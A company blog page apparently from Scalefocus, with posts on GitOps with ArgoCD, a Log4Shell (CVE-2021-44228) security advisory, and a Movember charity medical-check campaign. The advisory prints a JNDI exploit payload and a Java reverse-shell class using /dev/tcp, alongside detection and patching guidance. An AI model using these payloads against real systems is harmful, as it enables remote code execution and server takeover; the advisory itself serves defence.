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  • Tech Savvy Talks Vol.2 GitOps on AWS: Simplify Kubernetes Deployments

    The second edition of the Scalefocus series Tech Savvy Talks was held on 20 October. If you are new here - Tech Savvy Talks are online events organised bi-weekly, covering various technology topics. The initiative's primary goal is to gather colleges and people with similar interests to discuss new tech trends, best practices and share knowledge and insights from their expertise. Another plus of the activity is that it's free and open to anyone. Follow Scalefocus's profile  and be the first to know about the upcoming topics and events. Now let's explore the second episode dedicated to GitOps on AWS: Simplify Kubernetes Deployments. Petar Gjorgievski was the presenter, he is a DevOps Engineer at Scalefocus based in Skopje. During his talk, he covert topics as: What is GitOps GitOps principles GItOpsbenefits How a GitOps pipeline might look like Explore the ArgoCD tool Short demo where we are going to try to configure and set up a working GitOps pipeline What exactly is GitOps GitOps is a way to do Kubernetes cluster management and application delivery. GitOps works by using Git as a single source of truth for declarative infrastructure and applications. With GitOps, the use of software agents can alert on any divergence between Git with what's running in a cluster, and check if there's a difference, Kubernetes reconcilers automatically update or rollback the cluster depending on the case. With Git at the center of your delivery pipelines, developers can use familiar tools to make pull requests to accelerate and simplify both application deployments and operations tasks to Kubernetes. Let’s talk about GitOps principles The entire system described declaratively With your application’s declarations versioned in Git, you have a single source of truth. Your apps can then be easily deployed and rolled back to and from Kubernetes. And even more importantly, when disaster strikes, your cluster’s infrastructure can also be dependably and quickly reproduced. The canonical desired system state versioned in Git With the declaration of your system stored in a version control system, and serving as your source of truth, you have a single place from which everything is derived and driven. This trivializes rollbacks which can be achieved with a simpler git revert. Using Git, you get the extra benefit to have a look into the authors of the code. Approved changes that can be automatically applied to the system This means that every time a pull request is approved and merged, you are able to sync up your cluster automatically and make a deployment without the necessity to give direct access to the cluster. Software agents to ensure correctness and alert on divergence This means that there is essentially an agent which always monitors both the current state of the cluster and the source of truth and alerts on any changes on either side of the configuration. This leads us to the Benefits of GitOps 1. Simply said, it increases productivity. Continuous deployment automation with an integrated feedback loop speeds up the time to deployment. 2. Enhanced Developer Experience Developers just have to push code to git and not worry about building containers or knowing the internal workings and configurations of the kubernetes cluster. This also makes it easier to onboard new colleagues and get them to start contributing faster. 3. Improved Stability & Higher Reliability Using Git to have more stable, reliable and reproducible rollbacks, as we mentioned previously, Git is also the only source of truth that it's the alpha and omega. It can help recover from disasters relatively quickly. 4. Consistency and Standardization Finally, Gitops offers us consistency, meaning, everything we have, our whole workflow including the application code and infrastructure code is built on top of our git repositories. Git Workflow 1. Leverages git workflow 2. Git as source of truth 3. Manage multiple environments 4. Easy rollbacks ArgoCD ArgoCD is a GitOps tool that helps with your GitOps workflows. ArgoCD can be used as a standalone tool or part of your CI/CD workflow. low. ArgoCD works with Git as a source of truth, with current Kubernetes manifests, or with Helm charts. It can be managed both declaratively through a click or a Dashboard which is quite nice, to be honest. It can be deployed inside of your cluster or outside of it and it works as General commanding its army with the way that it operates in the whole GitOps workflow. For more – watch the demo. There are alternatives like for example Flux, Jenkins X, and a few others as well. But we are sticking with ArgoCD. ArgoCD Positives 1. Container native workflow 2. Event based dependency manager for K8s 3. Declarative continuous delivery for K8s 4. Dashboard With all that cleared out, we can proceed with the DEMO. You can watch it here and the whole Tech Savvy talk where Petar Gjorgievski shared a lot more details and knowledge on the mentioned topics and many more, for example - а model of a GitOps Pipeline and a Setup. Got your interest? To see the talks and check what’s next, don’t forget to sign up for the following events: Scalefocus Events | Eventbrite Oh last but not least, it’s not all, so work-oriented, we have some gifts for you. Attend the next Tech Savvy Talk and get yours. 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  • How to address the critical Log4Shell/LogJam vulnerability

    Yordan Popov, Security Engineer On the 9th of December 2021 a zero-day exploit, affecting the popular Аpache Log4j utility was made public CVE-2021-44228. This vulnerability is actively being exploited and anyone using Log4j should take immediate actions to remediate this critical to security component. In this article we will go over the vulnerability and it’s remediations. TL;DR CVE-2021-44228 impacts Apache Log4J Java library Easy to exploit, high impact, achieves RCE (Remote code execution) with system-level permissions Patch Log4J to version >=2.15.0 What is Log4j? Java-based library used for logging in big percentage of the Java applications. According to Maven Central Repository Log4j is used in 16,601 open-source projects Some of the confirmed vulnerable organisations / components are: Apple Minecraft Steam Twitter Elasticsearch And many others. For additional information on the confirmed vulnerable services. Vulnerability The following payload would exploit this vulnerability: ${jndi:ldap://} Using the JNDI interface, log4j will download a .class file and deserializes it in unsafe manner. Utilizing the built-in feature of Java - static initializer (code in a static initializer block is executed by the virtual machine when the class is loaded.) a RCE can be achieved. Of course there are other ways to achieve code execution, that’s why patching is very important. If the JVM property com.sun.jndi.ldap.object.trustURLCodebase is set to true, other possibility would be utilizing LDAP ObjectFactory. LDAP ObjectFactory lets the LDAP response tell where to get the bytecode of another ObjectFactory. public class ReverseShell implements ObjectFactory { @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { Runtime r = Runtime.getRuntime(); p = r.exec(getShellPayload()); p.waitFor(); return null; } public String getShellPayload(){ return new StringBuilder() .append("/bin/bash -c \'") .append("exec 5<>/dev/tcp/;") .append("cat <&5 | ") .append("while read line; ") .append("do $line 2>&5 >&5; ") .append("done\'") .toString(); } } According to LunaSec JDK version greater than 6u211, 7u201, 8u191, and 11.0.1 do not seem to be affected by the above LDAP attack, since com.sun.jndi.ldap.object.trustURLCodebase is set to false , however the other method is working. Impact Logging untrusted user input, can result in Remote Code Execution if a vulnerable version of Log4j is used. The impact is critical, since it’s relatively easy to exploit (just a single line which is logged!) and it achieves system-level privileges. As a result CVE-2021-44228 is rated perfect 10/10 CVSS Score How to test There are multiple ways to detect if you are vulnerable. Check logs - someone might have exploited it already! Use open source tool like LogShell-Detector Utilize Huntress Online Tool Trigger DNS query either by using your own authoritative DNS server or the following open source web app Go to Generate DNS Token (something like, put your email address. Craft the following payload: ${jndi:ldap:///a} something like: ${jndi:ldap://} Place it everywhere where user input is provided and might be logged (search forms, profile data, HTTP Headers, … etc) If an email is received that a DNS lookup is performed then you are vulnerable! Remediation Best way to mitigate that is by patching to a version >=2.15.0 However keep in mind that you will not be able to patch the vulnerability if a vulnerable version of Log4j is used in a dependency which you are importing, for this reason set log4j2.formatMsgNoLookups to true (Log4J >=2.10) and monitor the logs, also add YARA rules if possible. Another mitigation is completely removing the JndiLookup class from the classpath, but that my affect the usability of the application. CyberSec Risk Manager - CsRM With our platform CsRM we were able to detect the Log4j vulnerability within less than 16h hours of it being publicly available, allowing our customers to take immediate actions to their affected services. The CsRM platform monitors your vulnerabilities, risk & compliance in all Open Source Code Components, Infrastructure and Cloud, empowering you to take accurate and informed decisions for your business at any time. For more information check out - CsRM References

  • Free medical checks and early diagnostics of prostate cancer in December

    The software company Scalefocus provides over 80 prophylactic medical checks in Acibadem City Clinic Tokuda Hospital through the initiative IT Beards The third edition of the IT Beards initiative of Scalefocus provides over 80 free prophylactic medical checks for early diagnostics of prostate cancer in men at risk ages. The charity campaign, part of Movember, was conducted throughout the month of November. Scalefocus created a special platform for the cause on which employees of the company published photos of their beards and moustaches, generating votes for their special vision. The generated funds will be donated to Acibadem City Clinic Tokuda Hospital to conduct medical screening at the Clinic of Urology, led by Prof. Kaloyan Davidov. The checks will take place in December. Registrations could be made at phone: 02/403 4000. The goal of the initiative is to provide timely access to specialized health assistance, as the prevention and early diagnostics of this malicious disease is of utmost importance for the course of its treatment. The prostate cancer can be cured if diagnosed on time. The disease has no symptoms, and if any appear, this usually happens at a late stage. The free medical checks are recommended for men over 50 years, or, in case of family history of the disease, over 45 years of age. The gathered funds from the IT Beards campaign will be realized in partnership with Acibadem City Clinic Tokuda Hospital and the foundation. ‘Health is a matter of responsibility to yourself and to your family, to people whom you love and who love you. If we face a challenging situation, we should first try to accept it and then soundly assess what could be of help, instead of fighting against it, so that we can continue living a good life, as much as possible.’ MD Margarita Tarejn, clinical psychologist and a member of the multidisciplinary team at the University Hospital Tokuda, participating at the campaign devoted on men’s health.

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